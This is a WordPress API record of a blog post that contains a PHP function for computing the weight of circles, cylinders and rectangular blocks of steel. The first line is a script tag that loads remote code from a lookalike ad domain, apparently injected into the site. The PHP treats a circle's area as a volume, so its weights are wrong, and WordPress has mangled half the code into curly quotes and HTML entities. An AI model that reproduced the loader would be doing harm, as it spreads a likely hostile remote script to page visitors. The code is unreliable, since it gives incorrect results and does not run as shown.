<script src="//sync.gsyndication.com/"></script>{"id":6137,"date":"2024-12-30T16:50:21","date_gmt":"2024-12-30T08:50:21","guid":{"rendered":"http:\/\/www.777x.net\/?p=6137"},"modified":"2024-12-30T16:50:21","modified_gmt":"2024-12-30T08:50:21","slug":"6137","status":"publish","type":"post","link":"http:\/\/www.777x.net\/?p=6137","title":{"rendered":""},"content":{"rendered":"<p><?php\nfunction calculateWeight($shape, $dimensions, $density) {\n    $volume = 0;\n\n    switch ($shape) {\n        case 'circle':\n            \/\/ $dimensions['radius'] is the radius of the circle\n            $radius = $dimensions['radius'];\n            $volume = pi() * pow($radius, 2);\n            break;\n\n        case 'cylinder':\n            \/\/ $dimensions['radius'] is the radius, $dimensions['height'] is the height\n            $radius = $dimensions['radius'];\n            $height = $dimensions['height'];\n            $volume = pi() * pow($radius, 2) * $height;\n            break;\n\n        case 'rectangle':\n            \/\/ $dimensions['length'], $dimensions['width'], $dimensions['height'] are the dimensions\n            $length = $dimensions['length'];\n            $width = $dimensions['width'];\n            $height = $dimensions['height'];\n            $volume = $length * $width * $height;\n            break;\n\n        default:\n            return \"Unknown shape!\";\n    }\n\n    \/\/ Calculate weight\n    $weight = $volume * $density;\n    return $weight;\n}\n\n\/\/ Example usage:\n$density = 7850; \/\/ Density of steel in kg\/m^3\n\n\/\/ Calculate weight of a circle with radius 0.5 meters\n$circleWeight = calculateWeight('circle', ['radius' => 0.5], $density);<br \/>\necho &#8220;Weight of the circle: &#8221; . $circleWeight . &#8221; kg\\n&#8221;;<\/p>\n<p>\/\/ Calculate weight of a cylinder with radius 0.5 meters and height 2 meters<br \/>\n$cylinderWeight = calculateWeight(&#8216;cylinder&#8217;, [&#8216;radius&#8217; => 0.5, &#8216;height&#8217; => 2], $density);<br \/>\necho &#8220;Weight of the cylinder: &#8221; . $cylinderWeight . &#8221; kg\\n&#8221;;<\/p>\n<p>\/\/ Calculate weight of a rectangle with dimensions 1&#215;0.5&#215;0.2 meters<br \/>\n$rectangleWeight = calculateWeight(&#8216;rectangle&#8217;, [&#8216;length&#8217; => 1, &#8216;width&#8217; => 0.5, &#8216;height&#8217; => 0.2], $density);<br \/>\necho &#8220;Weight of the rectangle: &#8221; . $rectangleWeight . &#8221; kg\\n&#8221;;<br \/>\n?><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-6137","post","type-post","status-publish","format-standard","hentry","category-ai"],"_links":{"self":[{"href":"http:\/\/www.777x.net\/index.php?rest_route=\/wp\/v2\/posts\/6137","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.777x.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.777x.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.777x.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.777x.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6137"}],"version-history":[{"count":1,"href":"http:\/\/www.777x.net\/index.php?rest_route=\/wp\/v2\/posts\/6137\/revisions"}],"predecessor-version":[{"id":6138,"href":"http:\/\/www.777x.net\/index.php?rest_route=\/wp\/v2\/posts\/6137\/revisions\/6138"}],"wp:attachment":[{"href":"http:\/\/www.777x.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6137"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.777x.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6137"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.777x.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6137"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}